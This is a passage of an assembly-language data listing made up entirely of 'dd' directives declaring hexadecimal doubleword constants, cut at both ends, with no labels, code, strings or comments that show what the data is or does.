4769EC54h, 6E90640h, 41A3EF5Ah, 4F17419Fh dd 79533121h, 82C60130h, 87107E03h, 6B2E0570h, 57727150h dd 95B568B7h, 0D931805Fh, 8D6CBE4h, 1E683302h, 48195744h dd 0C9536858h, 47D38759h, 5D6E5509h, 2A1EC4BFh, 0BA0145Ah dd 753C36F5h, 52CB7F0Eh, 68C1C47Eh, 0A500528h, 954EC8E9h dd 7BB96DCBh, 45902BBAh, 4ABE581h, 0F702421h, 7F88B887h dd 0BC7632A6h, 875F2B86h, 0ECF415A2h, 0EF640A65h, 0B5051CA4h dd 8FFE42C2h, 413179AFh, 3A9CDCE9h, 0E6817888h, 0C9771F73h dd 527D9640h, 91A0EAECh, 880909D3h, 414A5D7Ah, 0B758A04h dd 0F9E904ADh, 775BA7C8h, 59D97B13h, 0C8415255h, 0CED1F20h dd 4E436415h, 3E3B3728h, 1E7DD1Fh, 0AD18E2CFh, 0E9C44F74h dd 0F5975448h, 0EBFECBh, 12E5514Eh, 1A77BE56h, 649D14E4h dd 69090556h, 0E8597666h, 3E9E074h, 81C4A8C6h, 3BC809EAh dd 28555017h, 782F0886h, 0B8854E3Dh, 4C68F11Dh, 4C76AA2h dd 0BEE942B3h, 0FF6495A0h, 58FD71B5h, 1885AA04h, 9D08EDA0h dd 6234A661h, 82831AF2h, 40D40Ch, 302B275Bh, 0BDB6DE89h dd 0F720576Bh, 1905F1F6h, 65C95650h, 3F447617h, 0B41B0044h dd 3E97CDEAh, 80BAF895h dd 2E3A313Dh, 488C0A0h, 3E6E4924h, 0A55B873Ch, 8C6C17Dh dd 20C49806h, 54909A4Eh, 5A4CE6EEh, 3AC681BEh, 0F3ED3B1Fh dd 0EB5F6FA5h, 30AB7D61h, 801AC061h, 0FEBDAECDh, 0DC589429h dd 349F507h, 9796C413h, 0F0C43E0Dh, 0B699EA21h, 87AF8561h dd 310FC6D0h, 89B9098Ch, 0E23A28FBh, 0AB7E093Eh, 7FC7DD65h dd 29C4E909h, 0EC53838Fh, 0E171A46h, 79C04558h, 77012576h dd 555D515Fh, 0A1CCA768h, 0F03FEF26h, 93608055h, 7370CD2Fh dd 0DF5B49D3h, 0A460F502h, 0C97F8FC3h, 132F833Ch, 4F9DE847h dd 9D922BE0h, 6CB57570h, 70DB959Ah, 4E00642Dh, 885D022Ah dd 0FA5558C2h, 0B598A0F6h, 0EF7A4A3Ah, 127F268Bh, 801D8F58h dd 533A352Dh, 0E91E9315h, 13F84BB4h, 0A5BE1421h, 953050AFh dd 0D56950D1h, 5556169Ah, 673926A8h, 862A469h, 8005E100h dd 60A0E926h, 6BF14BF6h, 6458062Eh, 40592D7Fh, 20262BF5h dd 8C096216h, 0C0B5145h, 1441105Ch, 0E08AD6BEh, 9DE9107Ah dd 3C68096Bh, 91A5B050h, 5520BD75h, 8F60D9C6h, 736B5Ch dd 6D7F2140h, 0E19D3AE9h, 0F1D8AD2Ah, 7A38E9h, 3C4705C9h dd 0F0921A5h, 4B606880h, 0DEC0EDD1h, 0B00AEB7Ch, 710420A2h dd 17D12D1Eh, 85C5DBDEh, 40AB7D6Eh, 0CD26C56Bh, 0FCB04E20h dd 6CE9DF4Ah, 0F959C8C4h, 9FD1124Fh, 687D60EFh, 2AE11C3Fh dd 0BFB4CFE8h, 7398C50Eh, 0F6E062C9h, 0EABDA8E1h, 0B72413DDh dd 0A7680017h, 29DC8846h, 33BC5897h, 4328A1FFh, 0A3E6B416h dd 0CC1839BAh, 55512CD6h, 4353D54Bh, 311706BDh, 12BBDCF2h dd 0F9DCAF70h, 0B103496Eh, 6E559D1Ah, 6446FB75h, 4E2DB357h dd 10E01E17h, 0C7AD5D85h, 0A185915Bh, 80FA04B2h, 0B7778458h dd 0DBEA93C0h, 2E1217A8h, 25BF5E52h, 0D5F6BEC0h, 25562B5h dd 7774DEh, 886EC580h, 3AFCEF58h, 86225A6Ah, 59D3FD57h dd 5B0731A7h, 5A773C29h, 1844B7CDh, 0F59527A7h, 82611372h dd 0BA14A03Ah, 0C53BBE89h, 895DE9E0h, 0BF457D5Dh, 0F67C790Bh dd 41289832h, 6FE18C93h, 4C2694F7h, 0EAC189BAh, 0E8D2BA60h dd 62E1EB7h, 873D5EBAh, 55E4DE64h, 31251902h, 7C23E9DAh dd 3EB40B63h, 47CD5506h, 7B47CF05h, 13C34D07h, 7F6FB04Bh dd 0D25A9D01h, 5B95D20h, 344880BAh, 0EBC4BB75h, 2DACF0Fh dd 0E24A060Ch, 0EC6B774Bh, 6B1C7EBEh, 0A8B05703h, 31B32024h dd 88A293Ch, 66590090h, 81B13851h, 0E078CB3Bh, 0EB803CD3h dd 19C32FF3h, 84609FC0h, 0E31DF99Fh, 765F6232h, 0AFF4F2ACh dd 5C0ED204h, 260513A3h, 422AC4Ah, 45DBCB1h, 0D0FB295Bh dd 0C32BCBC7h, 0C8944B7Ah, 395166ECh, 0AA5ED188h, 2D3BB946h dd 0B15D4A60h, 3AB86A13h, 4A21BBD3h, 9CCB53FFh, 0C4288BEAh dd 7EACF3D3h, 0AD3291C5h, 5E578921h, 7F3E003Bh, 9B90E29h dd 0F94FA671h, 75BF46DCh, 0F462D10h, 32A5C97Ch, 0A459579Eh dd 17CDF758h, 0EB07765Dh, 0A4620ACAh, 421A48B8h, 0BE33C81Dh dd 3A651E8Ah, 0B0819276h, 499D5904h, 58640DBDh, 4F2DFE57h dd 0E455529Ah, 55CEB378h, 0A8A2E4D9h, 7110CAE9h, 83B01F25h dd 3DE0AA52h, 0FDD04B21h, 452D84F0h, 0DE2FF4BDh, 9C579455h dd 0E75069F9h, 0A183294Ch, 0E23BE278h, 0D7588947h, 75501782h dd 0F52705F1h, 0FF2D9D17h, 0E11CD504h, 0C5693E33h, 4E431230h dd 0F1E2A993h, 0B768E745h, 0A2C20987h, 0EBB402DDh, 0ABF20128h dd 29BACC4Fh, 6FC6F52Bh, 0E7303501h, 0FDD05866h, 90E8E05Bh dd 98025A0h, 7DE9D55Ch, 2C7C760Bh, 979161D2h, 344B900h dd 80ACC44Fh, 3BFCC000h, 0ADE4E9A4h, 0C1BC13BDh, 646CE3B1h dd 9BABC4h, 0B850D701h, 511E0003h, 5973525h, 2D011831h dd 66F85EF9h, 0DAF0D8F7h, 69F0B71h, 69A92BE9h, 3C8BB1D4h dd 0CD13C901h, 951A26Bh, 0D7DAED80h, 0B34584D9h, 14DDB90Fh dd 9E8EC484h, 0E27BE00h, 46016872h, 5575E681h, 6C707DEEh dd 0B3781712h, 368E0039h, 51A2157Ch, 7BF18931h, 0F7A65DDBh dd 79441995h, 31FC4D45h, 4252C8D3h, 8B0F4C06h, 1193907h dd 0B5E0E3C2h, 2A31E9B0h, 925EEB13h, 0F948E70Ah, 0F1F031C2h dd 0ABD26298h, 4214D455h, 0C972A580h, 61B2D00h, 9305794Ch dd 69AA0A67h, 14CBDE9h, 0F812B5F7h, 0E18EC7Dh, 8F0865BBh dd 2CAC0757h, 0C01E82C7h, 0A1C4445Dh, 5C028759h, 3E5EF9FDh dd 3D092927h, 5C253ADEh, 0B3A44F4Ch, 1632B4B1h, 19B5279Ah dd 9E7547EEh, 139FE979h, 5F9E8097h, 1F17FCB8h, 8BEE1488h dd 0A75524B4h, 0E382028Ch, 3950BC3h, 0A8DF59F0h, 5A090854h dd 88465750h, 4F495297h, 6990ADEBh, 9C2BF540h, 572F9F70h dd 0A8947DA9h, 1A9BC29Fh, 80CDF4A0h, 787619ABh, 584B7D68h dd 0E983DBE9h, 0FD10A942h, 0FD4B7F3Ch, 763092F7h, 809572E9h dd 37EEC828h, 0CD686FC0h, 0F4786F1Eh, 5E5697E5h, 8EFB4A3Ah dd 10AA4288h, 0B61DAD2Ah, 0BDA3D340h, 635125DCh, 0B80C5FD5h dd 30D30E4Ah, 0DDB1D2C8h, 5CA57C89h, 5E0CBA77h, 0A91622Eh dd 2829410Fh, 8744F8B5h, 9418A2FFh, 20564FECh, 0A109871Eh dd 66849973h, 3EE172F2h, 0B6FE503Bh, 1DC8DACFh, 98950950h dd 6546E911h, 0EAD3B39Eh, 663F8087h, 24167134h, 10B8F821h dd 6EF84F16h, 7C6F8410h, 0AF56E830h, 277721BAh, 82F00C0Dh dd 4DAF735h, 0D7BFFB0Bh, 0FEC16193h, 0D1109DAEh, 0EABF33E4h dd 6AAF3303h, 96A7E8F8h, 0BC89B9CEh, 2194DF16h, 5EE36ADh dd 0F262D080h, 127A5B5Ah, 0B1C2EB00h, 0ACC7DB60h, 2FE92223h dd 0CFE3315Fh, 60F9C682h, 4B57561Eh, 0D9FB6D52h, 20A30621h dd 5BECAA30h, 3D163BEBh, 59A5361Dh, 3BAC16E1h, 40A720F0h dd 5E72046Fh, 70C0EC2Ch, 85A95F3Eh, 0F7E02250h, 0E3DACB21h dd 0DE89840Ch, 8297B9E8h, 3E0D4CFFh, 0DFADEC2Eh, 9A9DD540h dd 0F683E494h, 0EF32C9C6h, 0D5DD89CBh, 682F8944h, 20025A9Bh dd 0B082ABADh, 44BF3482h, 64B06801h, 5953258Bh, 774B60F4h dd 0EFACAE04h, 0BB2AFE8Eh, 24F69FC9h, 0FD7BE971h, 6FC1D666h dd 1816340Dh, 43BF5700h, 0B908C222h, 0CF8716B0h, 717F840h dd 2FFD6856h, 5CBD1424h, 0EA2EE8Eh, 52D55C0Fh, 0BB30BE9Dh dd 25C32710h, 65E7D557h, 399275A7h, 69C65BFFh, 84D95B57h dd 0D42B62E9h, 6BB8BB2Dh, 92DDA94Ah, 5EF8F2AEh, 0D9F62081h dd 2DE91930h, 96579011h, 0B65EFC07h, 0EB051392h, 63A47DC7h dd 0C704CAB2h, 0EE21165Eh, 0ABCC5CB1h, 6DFA1C67h, 0D05297E9h dd 880F0834h, 0FF71687Eh, 0E598DE97h, 0BBFA5614h, 6684114h dd 76BA4DD8h, 0E593C66h, 49687A86h, 0F4259B41h, 1F22496h dd 40FB6842h, 2E625E56h, 9018553Dh, 39203A8Dh, 40170411h dd 81455557h, 285FE96Bh, 9A5024AAh, 5E25AC10h, 954986E4h dd 21ED5030h, 0B40B60B4h, 6AD0DEAFh, 0BC752FCDh, 28DDA077h dd 62C2BE13h, 47D66978h, 0DF545262h, 0F7A520F1h, 7B389E90h dd 30E908E1h, 0EB29962Ch, 0B30E7344h, 0C2BE560Dh, 5F3B3811h dd 0F080CF76h, 0E9123E7Ah, 0C609B5D6h, 483E717Dh, 0A06A097Ah dd 4DCD11A3h, 9E96E599h, 0C544AD06h, 0BF0301Bh, 40DDC98Eh dd 572F8280h, 159126Ah, 0BBF48D7h, 5548D979h, 3E08CDA8h dd 0D0647593h, 3006314Bh, 86E0144Bh, 54D70CB9h, 5A32216Dh dd 0F2C2B119h, 2EA5591Ch, 0E410DD7h, 240AEDF4h, 3DF5836h dd 1E631A2Eh, 3430EFE0h, 9BA150F4h, 3AC43548h, 88A0B8ACh dd 5FEEB2E5h, 6BFBE977h dd 20956EB2h, 0F806E204h, 2140BF68h, 25F930EDh, 0EE312E93h dd 735A10D2h, 8662B1BFh, 3882D02Fh, 875DB09h, 29AD68B7h dd 4AAEB8E8h, 748FEFCDh, 0DD2E90Ah, 13E18195h, 7E023369h dd 0BDBCA504h, 850B84F2h, 4E204EA2h, 33195868h, 2DF129E7h dd 0BAE2D63Ch, 597B97F8h, 3B9FE9E1h, 0B01C0B39h, 46552759h dd 0E46818C7h, 71B4A35Fh, 0EEC90782h, 773237C0h, 0E5C67829h dd 90C0846h, 496359AAh, 4C923410h, 7D4B79B4h, 7E59EDB9h dd 0E9E0EAECh, 0CCB446AEh, 3F895FA7h, 0FBB5D066h, 0AAA03EEDh dd 15565C4Eh, 0B30C401h, 0A7206644h, 3D9C9006h, 49AD3CF3h dd 19EEB980h, 4278707Dh, 0BFD64Eh, 2FA2FA41h, 0A09029BAh dd 98CCCCBFh, 9981F55Dh, 8B3C6EC1h, 85CB2BF9h, 0B5360F04h dd 5B68455Fh, 4EB78550h, 595309h, 5A47D757h, 0AC30ED51h dd 0EF16B662h, 0E3EB8887h, 1C035250h, 0ED80C528h, 1055D1F9h dd 1FF38D96h, 0EC095346h, 525E7EB9h, 0CD12711Eh, 44212DFFh dd 77888174h, 0C98FA0DCh, 0C492DF98h, 0BFF4585Ah, 93049F1Dh dd 0AA10855Dh, 0DD171FD4h, 0DB1D3B95h, 2CC50405h, 86B50BFh dd 0F1ACE918h, 761E78BFh, 793305Bh, 9DC9FE85h, 0DA3EB70h dd 2942371Ah, 522CE9B2h, 0DF0B8B0Ah, 22AAF195h, 580AF284h dd 0E859D00Ah, 0EC684531h, 0AE6C163Ah, 965316CFh, 0A131AC4Ah dd 0BB1501B9h, 0E90BDDF2h, 74CEA58Dh, 0F065CE41h, 2EB19400h dd 92445011h, 42331405h, 2301AC2Bh, 161E416h, 822C7BFAh dd 1EAEBC1Eh, 0FB4D8E68h, 1FC15905h, 80C092A5h, 0FE9EB0D0h dd 4934C809h, 7E305528h, 0A5E302E9h, 0B07F195h, 1CFC4593h dd 0D65FD6Bh, 0F104A3A0h, 17CBD66h, 810FB94h, 0E8688332h dd 8EEA856Fh, 98B2550h, 0B6547Ah, 0F1D9C22Dh, 49F389FBh dd 25AF3B23h, 94638269h, 45B4ABA0h, 0DE7AF480h, 8A00AB5Bh dd 4BCF8147h, 13123B14h, 9697C704h, 89BCC244h, 0B2012DD4h dd 66D02839h, 78C8E130h, 59E1CB04h, 0E9042D6Fh, 0C8FD0CEDh dd 0BED372E4h, 551D2774h, 1F044BB9h, 9DEFD001h, 0ACD244B2h dd 2A68C25Fh, 52462225h, 246D4E0Fh, 0F2AF74BCh, 2013487Bh dd 361BA058h, 5CA5301Ah, 0E51FB2A0h, 966A7160h, 9D7F2242h dd 5D5829F0h, 5C052D0Ch, 632B82A5h, 0FAE002F5h, 5582E553h dd 7F0581C8h, 107AB1B6h, 5BB7680Ah, 0D83CF250h, 0B48EB26h dd 0CD017DA3h, 608A608h, 41BC08E9h, 61BD344Fh, 90EC899Fh dd 77833BD6h, 0DF65DF18h, 12128674h, 649AB5E0h, 0D7955B6Eh dd 0D6772FBAh, 0F15FE9ECh, 7B253867h, 0A56F58F1h, 0C0446E48h dd 0CCBA1D42h, 93413B46h, 539BA07Fh, 0C312E499h, 58F605A0h dd 5820C0D7h, 0CAAE594Eh, 0EA81CAA1h, 0F87A6900h, 6EE4E95Eh dd 0E1A6E6AAh, 0B92D9580h, 8030D931h, 47B75352h, 282680B6h dd 0A40CF4FEh, 40829157h, 0EB04BF56h, 15F3518h, 1330F6EBh dd 2DBC92B6h, 3830B584h, 8A0F0B1Dh, 0DE2070BEh, 95E945B6h dd 0F60F639Ch, 5ECAE5D9h, 0D228AAFh, 104B67E9h, 535A356Fh dd 0CFC4AF10h, 4B84F8AAh, 65F91F53h, 0CD40D2A4h, 0E568B169h dd 890D5718h, 6A5FC391h, 8E8750BCh, 64750977h, 56C7A3F5h dd 51C3E3BAh, 0DA0B57B1h, 0D009880Fh, 0C9FE3CC6h, 69DC8109h dd 20BB70D4h, 0D05D4E25h, 0F31DD80Dh, 58BA4601h, 29953321h dd 0A020172Bh, 4F80BFC8h, 84C76083h, 0F88E8DF7h, 0B52DC67Fh dd 41855125h, 2FF90158h, 674F39BAh, 9811D2EEh, 0D9880E93h dd 284F645Bh, 0E908D5E2h, 9D244332h, 0A41D1903h, 0E6DA2D66h dd 0F0E90281h, 1ACC2A9Dh, 0F4D75F8Ah, 0F609BDB0h, 601C4E01h dd 80B481F0h, 0E0A0E1C1h, 0C20472F1h, 0CB31F9F4h, 0CD75ACFAh dd 6496F2E9h, 4597095Ch, 0DDC5A054h, 0AA74D5EAh, 5010E6CEh dd 17FF92B8h, 6E5664Eh, 12265660h, 34233935h, 820B16BEh dd 0F01822Fh, 163A7880h, 8871AB54h, 8251BEA3h, 0FB22864Ah dd 7172077h, 0AB045C0Bh, 8038C128h, 0C4B8AD7Eh, 881ADAD4h dd 8AF8A866h, 0B0DD0A9Fh, 0C9FF4E3Bh, 84366926h, 81045817h dd 47FEC7F6h, 5EF3E071h, 4C1DBF7h, 4D3E8D0Fh, 27DDC1A7h dd 0C862C6C2h, 3FD9FF5Ch, 0E1BA5012h, 0A8AC2F8Fh, 0A6EC09E5h dd 1716B022h, 0C025DB28h, 5E4B0B27h, 0ADCAE129h, 5FB9C20Dh dd 9B7BF46h, 504F87ABh, 5F4F9682h, 0D8F74DB8h, 2860C590h dd 7FBA3563h, 96F48F9h, 590FA95Ch, 66A94968h, 0F301E15Eh dd 4FDF7205h, 0F0BFCD42h, 4173BF7Ah, 7BE95361h, 57E5DD2h dd 2E26E7A8h, 464F5CA5h, 25EF565Dh, 0AAE66D9Bh, 9379B925h dd 87DC1A1h, 0F7801087h, 88978293h, 73311D8Bh, 21916B53h dd 0C3D658E3h, 0F5C5C2EEh, 0CE3E7F9h, 5E14FFFAh, 421D3DBBh dd 0F3F598E3h, 0FA1CC431h, 0A24AF1B6h, 7E89E2C6h, 50490AC4h dd 48510B9Ah, 0C4687FFCh, 0AFCC2713h, 0E56917BEh, 293A0F7Ah dd 807FFE25h, 8B5D52ECh, 56A67160h, 9D1BD54Eh, 8837252h dd 7A141C41h, 161DD4E0h, 0F0051C72h, 8240072Bh, 1A321CB9h dd 0D0247017h, 7BE3E8E5h, 4EBB0012h, 0CA351202h, 64EF219h dd 0BC007E53h, 0E903E7C0h, 0BFA296C6h, 0E615380Bh, 0F07AAF05h dd 5A5B5BCDh, 1DF534FFh, 20F5A5FCh, 15BDEDC7h, 0EB054B11h dd 1B59E98Ah, 6A7F2FD8h, 0A5A1744Eh, 44BC3C2Bh, 0AC7EC741h dd 0EF810000h, 0F2FAC1CDh, 2E5FE689h, 0CB4E6468h, 8552B05Ch dd 0BBB8E8BAh, 7EE2AFB5h, 0BC31AB93h, 312BC782h, 2BAF6807h dd 1840A1B7h, 0C2F4B555h, 0C31720F8h, 4F6F6893h, 0A8FF1716h dd 68058DBBh, 0E2AED36Ch, 7065DC4Bh, 75262D97h, 724B195Eh dd 0D9988146h, 4EA36430h, 0E0B6E863h, 3F0CCDBAh, 0CA00471Ah dd 1BF07E37h, 0A14A85E9h, 35E0DD45h, 0FAF997D2h, 0BBD6407Ah dd 0D5599369h, 66D972CBh, 0CBE23B39h, 4AC32610h, 74F265A4h dd 36632650h, 1D87008Bh, 0D331C869h, 32211A81h, 5B786620h dd 77593176h, 29E90069h, 59189F49h, 0F4263312h, 4B00CC71h dd 21300827h, 5EFA98F0h, 40FCD8h, 8A3DB825h, 5FB2E915h dd 0D2524B47h, 49556E6Ah, 0DCD55806h, 0CBE41EF4h, 0AB75C2DDh dd 0C26B5471h, 205F0D64h, 4D38C598h, 0F3413D9h, 52A1AB8Fh dd 0CB82A22Ah, 27FF5A5Fh, 9C5CE76Eh, 0A0FAC96Bh, 1EA8447Ah dd 0A2041343h, 81002D99h, 342761EEh, 0C759335Fh, 0F805E3C8h dd 23D318E2h, 1291F62Dh, 0AAD69B9Ch, 0B5F0C312h, 6AD2D68h dd 2073BF66h, 0F267A12Dh, 3C0460E0h, 58D00A8Dh, 2F1CF09Fh dd 702E54D7h, 99277C82h, 0B0A3D0DDh, 0B5C925D6h, 3A78A7F4h dd 52163F5Eh, 43DAE102h, 77E0017Eh, 9A2F36A3h, 0F90F66Bh dd 13360461h, 5136E016h, 5F685703h, 0E1775013h, 19A6CAE3h dd 2D9410F5h, 581B7D5Bh, 2AB1E7E9h, 563A997h, 5147A97Ah dd 195BB9E0h, 0FFD6E92Bh, 0F4342C59h, 542658E3h, 0DFAC0A9Eh dd 0FDD1A5C6h, 0E0BE033Ch, 0E0EE897Ch, 49E9F129h, 5B2F2923h dd 0B0F5F289h, 0B56D613Eh, 7FF564CCh, 5051C7D1h, 0BFEFB5C8h dd 0CDFE20C0h, 0C02E0AC5h, 7CE95D80h, 0BD5CC046h, 161E14BFh dd 0F2D686C1h, 0C320F8ADh, 0DB730E56h, 10D22950h, 0E91208DEh dd 99B4BCDAh, 0D9DF7420h, 0B32622F8h, 0EC5EF512h, 3569C1B8h dd 0EB7D0E31h, 273AF680h, 0F7A4250h, 65F1465Fh, 50C9BA63h dd 850F6D6h, 58D1A967h, 58D255C9h, 787D2FE8h, 0F299355Ch dd 0DB415D0Eh, 14873771h, 0F94086C1h, 0E910380Ch, 44C5F582h dd 70B88EBFh, 2408A06h dd 52600586h, 96E09D40h, 0D89E8283h, 37E05F52h, 0BD8031D4h dd 1149282Ch, 971C2AC0h, 616E0ADFh, 2BA0B15h, 0CE3180C6h dd 40F48BDDh, 5FC2E97Ch, 4432BFBDh, 0F7A38F02h, 40A72A0Fh dd 0EE0177FCh, 24032DE9h, 4A2064FAh, 0F52828C3h, 35694A95h dd 25880EF3h, 0C5DAB877h, 0D3BD2DFBh, 3C4A0975h, 1C55BBCBh dd 70ECEDDEh, 5E770405h, 0BB2E850Fh, 38AEEE17h, 55035AD2h dd 0D03733BDh, 0BCC41E75h, 0F13026Bh, 59CAF682h, 10A697Dh dd 0C45A9408h, 51EE62BEh, 5C43A340h, 0C4F61BC0h, 9EF4DFF1h dd 0CFC82547h, 0CFC6713Fh, 0B284EDEh, 5978C1A3h, 2D07D270h dd 236E7B45h, 49333A50h, 0D801140Dh, 0B4680705h, 7E582512h dd 40E5B58h, 152C19CFh, 471745ADh, 78D8AE6Ah, 28404565h dd 0F83727B9h, 39F39DD8h, 0CE281F84h, 0C365ACEAh, 0D401EE80h dd 0EA1CB782h, 0E2D1D999h, 5D59E1F7h, 123439A8h, 0A6AE7C4Ch dd 9852DBCh, 87B7B85h, 0F7253D2Dh, 48382C4h, 0CB54F1FAh dd 9B08D326h, 8A0F025Eh, 0E5FD87FEh, 9DCB8E02h, 0A6B46011h dd 25178316h, 6CE04EE9h, 5A585859h, 71E8C539h, 25B1C7F8h dd 405A180Eh, 0C275017h, 5710DF11h, 5AD641F9h, 0F30788AAh dd 552DA694h, 0C2790707h, 87D7ED7Ah, 8139F777h, 0A2337FEAh dd 1EF2170h, 0BD0685C8h, 35594FE9h, 72CFF0BDh, 7F487618h dd 90359E30h, 2556732Dh, 7FFEEBEFh, 0D0464F60h, 57215C25h dd 92FDA52Fh, 18346043h, 0A371B511h, 4E2C0C0h, 6ACA4C80h dd 21CF0216h, 435B04Eh, 3B1103B8h, 86E2036Ch, 15D3A77h dd 0FF57110Ch, 2E2EE962h, 276835CCh, 0DAF90355h, 56BB08Bh dd 1E4E879h, 0F036DC05h, 7EAF559h, 0CC446624h, 25DA8408h dd 61427CFBh, 9C185719h, 32CF9F78h, 0FA58CE45h, 95AB770Ch dd 6892A1D5h, 0F0241511h, 0EED64AEBh, 3AECF399h, 24909D58h dd 43651568h, 8A943531h, 3F799EBh, 258EB295h, 0B73EA820h dd 68699451h, 0AB60AF2Ah, 0C005B281h, 30734008h, 0E8AA2855h dd 624F2E27h, 4B1057F8h, 0F45B2F79h, 59A182A9h, 8B626084h dd 5751F2F9h, 0EB93403Ch, 467DE300h, 9F29441Ch, 0C2A6E5D3h dd 2B704304h, 803DFB5h, 753A0453h, 0BB3D1E3Ch, 0B8509BC0h dd 610A314Fh, 44D7FD4h, 0D148A009h, 8A430E5Bh, 2340AF53h dd 5FA655F3h, 12E99633h, 3D71EF56h, 0D46816E9h, 5BD9AF4Ah dd 9F4AB42h, 1725CBAAh, 8C69BCB6h, 805D7CDEh, 35004058h dd 7D7724DAh, 72213E25h, 1647EAC9h, 0F054A42Bh, 0BA1C5268h dd 5C5253B0h, 0BE2A94AFh, 0A5D39AF6h, 59AF3B77h, 244B431h dd 0A1E6C191h, 2404F6Bh, 0B2D397DEh, 7A257845h, 2C6D7D73h dd 5B44D28Bh, 5CE90459h, 55CC907Fh, 59093468h, 705D3730h dd 0E90FC452h, 5A64ECF2h, 0E289CB2Dh, 0E556AC0Fh, 0BDE050CBh dd 57021958h, 0E5A5EBFh, 571DE23Eh, 0C0AC0053h, 1E417D17h dd 3698090Bh, 0A988EDE8h, 0E4DDF8D4h, 5C132C38h, 4EDB0952h dd 509D146h, 0FF29AC17h, 5A0F5116h, 0F060F338h, 764A210h dd 4EF86866h, 0E9FA5444h, 128248D9h, 5FE56F57h, 0AF9F67E9h dd 363345C2h, 0EA159262h, 802FB29h, 923A30E7h, 0EFA356FAh dd 63DCB05Fh, 6DD36818h, 0C9A79AF7h, 7C00CDE3h, 12BE20CAh dd 1E88312h, 0B3FD8E01h, 0F17FCF84h, 58D6427Fh, 3F050AF6h dd 1BC166A1h, 0F600BAA0h, 0CF1EFEDFh, 2886EF80h, 5065BF8h dd 0E9B3B753h, 0BA4FA0CAh, 3B0AEA0Ch, 0C17DD650h, 0E942706Ah dd 0FD697Ch, 0BD7772F1h, 3FCA296Ch, 9D985D59h, 0CE864062h dd 51C6FE07h, 0CFC2E3B1h, 0EF92A0A0h, 5E731FFAh, 0A9BC3457h dd 0D2E116F6h, 0FD822E34h, 55C0712h, 56C4BBD8h, 3605C9EDh dd 8560FF19h, 0E8E0BBB9h, 0AEFC5F2Bh, 40230F73h, 7F3FA037h dd 0BA1A015Ah, 5519BD2Ch, 6B74CE9h, 0C1633C48h, 4CA14F09h dd 5BCB57Bh, 56B59208h, 0CBFB7657h, 4BD516F7h, 4312882Ch dd 89028209h, 3BDC2DCAh, 2813012Bh, 2F2AE662h, 0B609C7E0h dd 0A25D2D8Ah, 293BB9C1h, 7ACD9E61h, 0EF683502h, 82487947h dd 65E0802h, 92EB22D7h, 446607F7h, 85BDEAD9h, 0BD8A553Ch dd 16917FB1h, 52FD523Dh, 0FACEEAE2h, 6E9F6809h, 64626FF4h dd 5869546Dh, 7A4A46E9h, 8DD00F27h, 0B815A86Ch, 11719Dh dd 0BB531B0Bh, 0FA9D5B78h, 850B314Eh, 0A6667DD0h, 4ADD2D07h dd 0F8E6531Ch, 3CD4091Ah, 9D550CBh, 834174ACh, 2ABA5382h dd 0CF5F2638h, 261522B3h, 0EE748258h, 0BAEFD2A8h, 444A512Ch dd 5FEEE71Ah, 65FC445Ah, 3A9BF1C6h, 0CDB35317h, 4B38211Eh dd 0F8AD29AAh, 46924B73h, 2E57CA09h, 183FFA8h, 6D241D0Dh dd 9AA56F26h, 50CEF40Eh, 675BB468h, 0C2886BF3h, 42091471h dd 8FC93AC9h, 0F0B9298h, 0DE4E0D0Bh, 0B86851B8h, 44BB5B43h dd 135208BCh, 4F5EE633h, 1502BE9Eh, 5465E950h, 0B0F72732h dd 959ED490h, 0F6011912h, 0E219596Eh, 4242BA8Eh, 0B86273DFh dd 0C27D15ABh, 0C6AD15Ah, 0DA5B9CBAh, 8E860F09h, 707276DDh dd 8827E38Ah, 4C69D4C1h, 5478A824h, 2AB01D4Eh, 4E9FFE53h dd 91EC9078h, 3748A523h, 210A002Ah, 3DE92D74h, 8864CBC9h dd 0F745165Fh, 98C0AB20h, 2CFCC416h, 64EA13E5h, 2A5EB6Ch dd 0ACBEB704h, 5B74778h, 0FC8AD888h, 1496A701h, 0CB7F4ADEh dd 76FC5AB1h, 2368500Bh, 0B92CF604h, 0F35B740Dh, 0B5687931h dd 0C0E3E42Ah, 73E81741h, 8A6CBD0Ah, 16808D83h, 2D18278Bh dd 10A15FCh, 5B17BEC1h, 0DA0D3BBAh, 0D05BD827h, 5D4DE99Dh dd 82AB2ED2h, 7EC85082h, 3B73CB80h, 0DDD060F7h, 806AA241h dd 70359DDCh, 0E9CF212Eh, 0F794422Dh, 78B733CEh, 0D10227Fh dd 774E66BDh, 0A8304A68h, 0B45080AFh, 4A69E911h, 7B1FCD22h dd 2D6863DCh, 37D90F3Eh, 0E8E3056Bh, 0C2F98BEEh, 0F1400A68h dd 0FCB18BB3h, 0AFB9C5D7h, 344825Dh, 1DE88A2Eh, 0B8409F12h dd 31649C2Dh, 6215F42Fh, 0DFB18B58h, 0D0AF017Bh, 0CFCB0945h dd 0A5837504h, 220B4EF3h, 7DD829F4h, 59C22E31h, 59130A5h dd 0FB3BD6A0h, 0D9AAFF4Fh, 16047686h, 638C09FBh, 0DC5E1CB6h dd 13F0EF67h, 7140A290h, 81644E2Ch, 0DBB6526Fh, 58F9F083h dd 8265ADC8h, 1A2AA74h, 0C9C68852h, 0A48B3EF5h, 85D5F61Fh dd 0AB8659E8h, 3BFFA183h, 0EB030B06h, 0BEDCE96Bh, 0F0274976h dd 8174A086h, 2E64D7F6h, 17B25650h, 0E99B4FEFh, 0D5271A0Ch dd 55F09571h, 725D5E25h, 8C605E5h, 84EE2F5Bh, 0F2F3BEE2h dd 432FE5Fh, 39F975F8h, 19986805h, 6208D64Bh, 0AA3C5D2Bh dd 0ECA60D9Fh, 1624AD6Eh, 49065450h, 1E1F4811h, 52C288E7h dd 358280DEh, 6D2D2CECh, 49135032h, 0F95E0C62h, 4FF200B5h dd 0F089E7Fh, 7E662785h, 0A2599527h, 3AC177B5h, 42042BBCh dd 0E5CCEAD1h, 0C759759h, 1661EACAh, 0D184041h, 6B0D63A6h dd 4BDD94A4h, 0D324B25Bh, 1293300Eh, 0B495E2AEh, 1755FDAFh dd 4B4041E9h, 1747E3B9h, 0F1810258h, 486B6AA1h, 980BFFh dd 9E19F9B1h, 9C579706h, 33C1BF88h, 0A2002A61h, 30B957BAh dd 17C9B0C9h, 44D7FA1h, 9E4C070h, 623C7EBBh, 3105A07Eh dd 97E7B0AAh, 641E7C64h, 75022CC2h, 8816A3C4h, 0A30859EEh dd 83AD02F6h, 0F160207Fh, 6E4A6B84h, 2A514C43h, 0C83C4F3h dd 0A2164E8Dh, 9240C543h, 26FBAC90h, 0C462484Bh, 51E233B5h dd 9D898A20h, 77C90B75h, 6842F647h, 0A1A9781Ah, 75C27721h dd 0D562EADEh, 0C745575Ah dd 4B68BD4Ch, 2F13A17Ch, 